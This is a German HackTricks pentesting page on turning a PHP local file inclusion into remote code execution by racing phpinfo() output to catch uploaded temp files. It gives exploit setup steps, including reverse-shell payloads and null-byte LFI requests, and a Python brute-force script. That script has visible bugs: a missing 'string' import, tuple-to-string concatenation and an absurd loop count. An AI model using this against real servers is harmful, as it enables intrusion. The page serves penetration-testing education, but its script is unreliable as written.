hacktricks/src/pentesting-web/file-inclusion/lfi2rce-via-phpinfo.md

56 lines
3.2 KiB
Markdown

{{#include ../../banners/hacktricks-training.md}}
Um diese Schwachstelle auszunutzen, benötigen Sie: **Eine LFI-Schwachstelle, eine Seite, auf der phpinfo() angezeigt wird, "file_uploads = on" und der Server muss in das Verzeichnis "/tmp" schreiben können.**
[https://www.insomniasec.com/downloads/publications/phpinfolfi.py](https://www.insomniasec.com/downloads/publications/phpinfolfi.py)
**Tutorial HTB**: [https://www.youtube.com/watch?v=rs4zEwONzzk\&t=600s](https://www.youtube.com/watch?v=rs4zEwONzzk&t=600s)
Sie müssen den Exploit anpassen (ändern Sie **=>** in **=>**). Dazu können Sie:
```
sed -i 's/\[tmp_name\] \=>/\[tmp_name\] =\&gt/g' phpinfolfi.py
```
Du musst auch die **payload** zu Beginn des Exploits ändern (zum Beispiel für eine php-rev-shell), die **REQ1** (dies sollte auf die phpinfo-Seite zeigen und das Padding enthalten, d.h.: _REQ1="""POST /install.php?mode=phpinfo\&a="""+padding+""" HTTP/1.1_), und **LFIREQ** (dies sollte auf die LFI-Schwachstelle zeigen, d.h.: _LFIREQ="""GET /info?page=%s%%00 HTTP/1.1\r --_ Überprüfe das doppelte "%" beim Ausnutzen des Nullzeichens)
{{#file}}
LFI-With-PHPInfo-Assistance.pdf
{{#endfile}}
### Theorie
Wenn Uploads in PHP erlaubt sind und du versuchst, eine Datei hochzuladen, wird diese Datei in einem temporären Verzeichnis gespeichert, bis der Server die Anfrage verarbeitet hat, dann wird diese temporäre Datei gelöscht.
Wenn du also eine LFI-Schwachstelle im Webserver gefunden hast, kannst du versuchen, den Namen der erstellten temporären Datei zu erraten und eine RCE auszunutzen, indem du auf die temporäre Datei zugreifst, bevor sie gelöscht wird.
In **Windows** werden die Dateien normalerweise in **C:\Windows\temp\php** gespeichert.
In **Linux** war der Name der Datei **zufällig** und befand sich in **/tmp**. Da der Name zufällig ist, ist es notwendig, **den Namen der temporären Datei irgendwo zu extrahieren** und darauf zuzugreifen, bevor sie gelöscht wird. Dies kann erreicht werden, indem der Wert der **Variable $\_FILES** im Inhalt der Funktion "**phpconfig()**" gelesen wird.
**phpinfo()**
**PHP** verwendet einen Puffer von **4096B** und wenn er **voll** ist, wird er **an den Client gesendet**. Dann kann der Client **eine Menge großer Anfragen senden** (unter Verwendung großer Header), **eine php** Reverse **Shell hochladen**, auf die **erste Rückgabe von phpinfo() warten** (wo der Name der temporären Datei steht) und versuchen, **auf die temporäre Datei zuzugreifen**, bevor der PHP-Server die Datei löscht, indem er eine LFI-Schwachstelle ausnutzt.
**Python-Skript, um zu versuchen, den Namen zu bruteforcen (wenn die Länge = 6)**
```python
import itertools
import requests
import sys
print('[+] Trying to win the race')
f = {'file': open('shell.php', 'rb')}
for _ in range(4096 * 4096):
requests.post('http://target.com/index.php?c=index.php', f)
print('[+] Bruteforcing the inclusion')
for fname in itertools.combinations(string.ascii_letters + string.digits, 6):
url = 'http://target.com/index.php?c=/tmp/php' + fname
r = requests.get(url)
if 'load average' in r.text: # <?php echo system('uptime');
print('[+] We have got a shell: ' + url)
sys.exit(0)
print('[x] Something went wrong, please try again')
```
{{#include ../../banners/hacktricks-training.md}}